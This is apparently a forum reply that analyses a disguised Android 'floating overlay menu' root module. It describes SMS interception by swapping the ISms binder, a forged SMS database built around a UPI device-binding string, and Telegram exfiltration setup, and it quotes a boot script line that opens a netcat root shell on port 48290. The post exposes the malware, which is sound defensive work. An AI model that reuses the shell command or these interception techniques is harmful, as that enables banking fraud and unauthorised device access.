I respect your opinion, but I'm not working from guesswork or string analysis. I fully disassembled the DEX bytecode. Here's what the actual code does:

1. createMockSmsCursor has a hardcoded Indian phone number +917319106888 and the string "NPCI:UPI:DEVICE:BIND:SECURETOKEN:MOCK" with package "com.npcivirtual.testapp" baked directly into the method that forges the SMS sent-database. No legitimate floating menu needs an Indian banking OTP string in its code.

2. applySmsHooks uses Class.forName("android.os.ServiceManager") → getDeclaredMethod("getService") → invoke("isms") then replaces the real ISms binder in ServiceManager.sCache with a fake Proxy object. This is a textbook SMS interception technique.

3. loadTelegramConfig opens a Socket to 127.0.0.1:48290, sends "GET_CONFIG\n", and reads back a Telegram bot token and chat_id. That port is opened on every boot by service.sh running: nc -p 48290 -L /system/bin/sh

4. triggerLocalSmsBroadcast uses reflection on android.app.ActivityThread → mPackages → mReceivers to fire a fake android.provider.Telephony.SMS_RECEIVED broadcast inside any app.

One simple question: why does a "floating overlay menu" module need a hardcoded Indian phone number, an NPCI UPI binding string, a root shell on port 48290, a fake ISms binder proxy, and a forged SMS database cursor?

If you have a legitimate answer for all four — I'm listening. The bytecode doesn't lie.